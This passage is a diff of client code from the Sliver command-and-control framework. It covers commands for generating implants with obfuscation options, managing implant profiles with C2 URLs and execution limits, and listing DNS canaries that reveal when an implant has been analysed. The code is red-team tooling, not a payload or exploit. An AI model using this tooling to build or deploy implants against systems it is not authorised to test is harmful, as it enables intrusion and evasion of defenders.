fmt.Printf(Info+"%sSymbol obfuscation is enabled.%s\n", bold, normal)
|
||||
fmt.Printf(Info + "This process can take awhile, and consumes significant amounts of CPU/Memory\n")
|
||||
} else if !config.Debug {
|
||||
fmt.Printf(Warn+"Symbol obfuscation is %sdisabled%s\n", bold, normal)
|
||||
}
|
||||
|
||||
start := time.Now()
|
||||
ctrl := make(chan bool)
|
||||
go spin.Until("Compiling, please wait ...", ctrl)
|
||||
|
||||
generated, err := rpc.Generate(context.Background(), &clientpb.GenerateReq{
|
||||
Config: config,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
end := time.Now()
|
||||
elapsed := time.Time{}.Add(end.Sub(start))
|
||||
fmt.Printf(clearln+Info+"Build completed in %s\n", elapsed.Format("15:04:05"))
|
||||
if len(generated.File.Data) == 0 {
|
||||
fmt.Printf(Warn + "Build failed, no file data\n")
|
||||
return nil, errors.New("No file data")
|
||||
}
|
||||
|
||||
saveTo, err := saveLocation(save, generated.File.Name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = ioutil.WriteFile(saveTo, generated.File.Data, 0700)
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Failed to write to: %s\n", saveTo)
|
||||
return nil, err
|
||||
}
|
||||
fmt.Printf(Info+"Implant saved to %s\n", saveTo)
|
||||
return generated.File, err
|
||||
}
|
||||
|
||||
func profiles(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
profiles := getImplantProfiles(rpc)
|
||||
if profiles == nil {
|
||||
return
|
||||
}
|
||||
if len(profiles) == 0 {
|
||||
fmt.Printf(Info+"No profiles, create one with `%s`\n", consts.NewProfileStr)
|
||||
return
|
||||
}
|
||||
table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
|
||||
fmt.Fprintf(table, "Name\tPlatform\tCommand & Control\tDebug\tFormat\tObfuscation\tLimitations\t\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("Name")),
|
||||
strings.Repeat("=", len("Platform")),
|
||||
strings.Repeat("=", len("Command & Control")),
|
||||
strings.Repeat("=", len("Debug")),
|
||||
strings.Repeat("=", len("Format")),
|
||||
strings.Repeat("=", len("Obfuscation")),
|
||||
strings.Repeat("=", len("Limitations")))
|
||||
|
||||
for _, profile := range profiles {
|
||||
config := profile.Config
|
||||
if 0 < len(config.C2) {
|
||||
obfuscation := "strings only"
|
||||
if config.ObfuscateSymbols {
|
||||
obfuscation = "symbols obfuscation"
|
||||
}
|
||||
if config.Debug {
|
||||
obfuscation = "none"
|
||||
}
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
profile.Name,
|
||||
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
|
||||
fmt.Sprintf("[1] %s", config.C2[0].URL),
|
||||
fmt.Sprintf("%v", config.Debug),
|
||||
fmt.Sprintf("%v", config.Format),
|
||||
fmt.Sprintf("%s", obfuscation),
|
||||
getLimitsString(config),
|
||||
)
|
||||
}
|
||||
if 1 < len(config.C2) {
|
||||
for index, c2 := range config.C2[1:] {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
"",
|
||||
"",
|
||||
fmt.Sprintf("[%d] %s", index+2, c2.URL),
|
||||
"",
|
||||
"",
|
||||
"",
|
||||
"",
|
||||
)
|
||||
}
|
||||
}
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n", "", "", "", "", "", "", "")
|
||||
}
|
||||
table.Flush()
|
||||
}
|
||||
|
||||
func getLimitsString(config *clientpb.ImplantConfig) string {
|
||||
limits := []string{}
|
||||
if config.LimitDatetime != "" {
|
||||
limits = append(limits, fmt.Sprintf("datetime=%s", config.LimitDatetime))
|
||||
}
|
||||
if config.LimitDomainJoined {
|
||||
limits = append(limits, fmt.Sprintf("domainjoined=%v", config.LimitDomainJoined))
|
||||
}
|
||||
if config.LimitUsername != "" {
|
||||
limits = append(limits, fmt.Sprintf("username=%s", config.LimitUsername))
|
||||
}
|
||||
if config.LimitHostname != "" {
|
||||
limits = append(limits, fmt.Sprintf("hostname=%s", config.LimitHostname))
|
||||
}
|
||||
if config.LimitFileExists != "" {
|
||||
limits = append(limits, fmt.Sprintf("fileexists=%s", config.LimitFileExists))
|
||||
}
|
||||
return strings.Join(limits, "; ")
|
||||
}
|
||||
|
||||
func newProfile(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
name := ctx.Flags.String("profile-name")
|
||||
if name == "" {
|
||||
fmt.Printf(Warn + "Invalid profile name\n")
|
||||
return
|
||||
}
|
||||
config := parseCompileFlags(ctx)
|
||||
if config == nil {
|
||||
return
|
||||
}
|
||||
profile := &clientpb.ImplantProfile{
|
||||
Name: name,
|
||||
Config: config,
|
||||
}
|
||||
resp, err := rpc.SaveImplantProfile(context.Background(), profile)
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
} else {
|
||||
fmt.Printf(Info+"Saved new profile %s\n", resp.Name)
|
||||
}
|
||||
}
|
||||
|
||||
func rmProfile(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
if len(ctx.Args) < 1 {
|
||||
fmt.Printf(Warn+"Invalid implant name, see `%s %s --help`\n", consts.ProfilesStr, consts.RmStr)
|
||||
return
|
||||
}
|
||||
_, err := rpc.DeleteImplantProfile(context.Background(), &clientpb.DeleteReq{
|
||||
Name: ctx.Args[0],
|
||||
})
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Failed to delete profile %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func getImplantProfiles(rpc rpcpb.SliverRPCClient) []*clientpb.ImplantProfile {
|
||||
pbProfiles, err := rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Error %s", err)
|
||||
return nil
|
||||
}
|
||||
return pbProfiles.Profiles
|
||||
}
|
||||
|
||||
func getImplantProfileByName(rpc rpcpb.SliverRPCClient, name string) *clientpb.ImplantProfile {
|
||||
pbProfiles, err := rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Error %s", err)
|
||||
return nil
|
||||
}
|
||||
for _, profile := range pbProfiles.Profiles {
|
||||
if profile.Name == name {
|
||||
return profile
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func canaries(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
canaries, err := rpc.Canaries(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Failed to list canaries %s", err)
|
||||
return
|
||||
}
|
||||
if 0 < len(canaries.Canaries) {
|
||||
displayCanaries(canaries.Canaries, ctx.Flags.Bool("burned"))
|
||||
} else {
|
||||
fmt.Printf(Info + "No canaries in database\n")
|
||||
}
|
||||
}
|
||||
|
||||
func displayCanaries(canaries []*clientpb.DNSCanary, burnedOnly bool) {
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
fmt.Fprintf(table, "Sliver Name\tDomain\tTriggered\tFirst Trigger\tLatest Trigger\t\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("Sliver Name")),
|
||||
strings.Repeat("=", len("Domain")),
|
||||
strings.Repeat("=", len("Triggered")),
|
||||
strings.Repeat("=", len("First Trigger")),
|
||||
strings.Repeat("=", len("Latest Trigger")),
|
||||
)
|
||||
|
||||
lineColors := []string{}
|
||||
for _, canary := range canaries {
|
||||
if burnedOnly && !canary.Triggered {
|
||||
continue
|
||||
}
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
|
||||
canary.ImplantName,
|
||||
canary.Domain,
|
||||
fmt.Sprintf("%v", canary.Triggered),
|
||||
canary.FirstTriggered,
|
||||
canary.LatestTrigger,
|
||||
)
|
||||
if canary.Triggered {
|
||||
lineColors = append(lineColors, bold+red)
|
||||
} else {
|
||||
lineColors = append(lineColors, normal)
|
||||
}
|
||||
}
|
||||
table.Flush()
|
||||
|
||||
for index, line := range strings.Split(outputBuf.String(), "\n") {
|
||||
if len(line) == 0 {
|
||||
continue
|
||||
}
|
||||
// We need to account for the two rows of column headers
|
||||
if 0 < len(line) && 2 <= index {
|
||||
lineColor := lineColors[index-2]
|
||||
fmt.Printf("%s%s%s\n", lineColor, line, normal)
|
||||
} else {
|
||||
fmt.Printf("%s\n", line)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
Generate
|
||||
========
|
||||
|
||||
Implements command related to implant generation such as `generate`, `regenerate`, `profiles`, etc.
|
||||
|
||||
@@ -0,0 +1,64 @@
|
||||
package generate
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// CanariesCmd - Display canaries from the database and their status
|
||||
func CanariesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
canaries, err := con.Rpc.Canaries(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to list canaries %s", err)
|
||||
return
|
||||
}
|
||||
if 0 < len(canaries.Canaries) {
|
||||
PrintCanaries(con, canaries.Canaries, ctx.Flags.Bool("burned"))
|
||||
} else {
|
||||
con.PrintInfof("No canaries in database\n")
|
||||
}
|
||||
}
|
||||
|
||||
// PrintCanaries - Print the canaries tracked by the server
|
||||
func PrintCanaries(con *console.SliverConsoleClient, canaries []*clientpb.DNSCanary, burnedOnly bool) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Sliver Name",
|
||||
"Domain",
|
||||
"Triggered",
|
||||
"First Trigger",
|
||||
"Latest Trigger",
|
||||
})
|
||||
for _, canary := range canaries {
|
||||
if burnedOnly && !canary.Triggered {
|
||||
continue
|
||||
}
|
||||
lineColor := console.Normal
|
||||
if canary.Triggered {
|
||||
lineColor = console.Bold + console.Red
|
||||
}
|
||||
firstTrigger := "Never"
|
||||
latestTrigger := "Never"
|
||||
if canary.Triggered {
|
||||
firstTrigger = fmt.Sprintf(lineColor+"%s"+console.Normal, canary.FirstTriggered)
|
||||
latestTrigger = fmt.Sprintf(lineColor+"%s"+console.Normal, canary.LatestTrigger)
|
||||
}
|
||||
row := table.Row{
|
||||
fmt.Sprintf(lineColor+"%s"+console.Normal, canary.ImplantName),
|
||||
fmt.Sprintf(lineColor+"%s"+console.Normal, canary.Domain),
|
||||
fmt.Sprintf(lineColor+"%v"+console.Normal, canary.Triggered),
|
||||
firstTrigger,
|
||||
latestTrigger,
|
||||
}
|
||||
tw.AppendRow(row)
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
Loaded 100 of 6785 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user